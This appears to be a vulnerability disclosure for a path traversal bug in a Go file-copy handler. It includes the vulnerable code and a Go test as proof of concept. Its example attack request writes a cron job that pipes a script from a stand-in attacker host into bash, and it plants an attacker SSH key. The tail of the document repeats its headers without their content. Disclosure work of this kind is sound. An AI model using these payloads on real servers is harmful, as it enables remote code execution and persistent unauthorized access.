The copyFilesToTmpDir function in internal/handler/handler.go is vulnerable to path traversal attacks. An attacker can write files to arbitrary locations on the filesystem by submitting filenames containing ../ sequences.
Affected Code
func copyFilesToTmpDir(tmpDir string, files map[string]string) error {
for f, src := range files {
in := filepath.Join(tmpDir, f)
if strings.Contains(f, "/") {
if err := os.MkdirAll(filepath.Dir(in), 0755); err != nil {
return err
}
}
if err := os.WriteFile(in, []byte(src), 0644); err != nil {
return fmt.Errorf("error creating temp file %q: %w", in, err)
}
}
return nil
}
Attack Vector
An attacker can send a malicious request to /run/files:
POST /run/files
Content-Type: application/json
{
"TemplateId": "golang",
"Files": {
"../../../etc/cron.d/backdoor": "* * * * * root curl http://evil.com/shell.sh | bash",
"../../.ssh/authorized_keys": "ssh-rsa AAAA... attacker@evil.com"
}
}
Proof of Concept
func TestCopyFilesToTmpDir_PathTraversal(t *testing.T) {
tmpDir, _ := os.MkdirTemp("", "sandbox")
defer os.RemoveAll(tmpDir)
siblingDir, _ := os.MkdirTemp("", "sibling")
defer os.RemoveAll(siblingDir)
maliciousPath := filepath.Join("..", filepath.Base(siblingDir), "pwned.txt")
files := map[string]string{
maliciousPath: "malicious content",
}
_ = copyFilesToTmpDir(tmpDir, files)
// File is written outside sandbox
escapedPath := filepath.Join(filepath.Dir(siblingDir), filepath.Base(siblingDir), "pwned.txt")
if _, err := os.Stat(escapedPath); err == nil {
t.Error("PATH TRAVERSAL: file written outside sandbox")
}
}
The copyFilesToTmpDir function in internal/handler/handler.go is vulnerable to path traversal attacks. An attacker can write files to arbitrary locations on the filesystem by submitting filenames containing ../ sequences.
Affected Code
Attack Vector
An attacker can send a malicious request to /run/files:
POST /run/files
Content-Type: application/json
Proof of Concept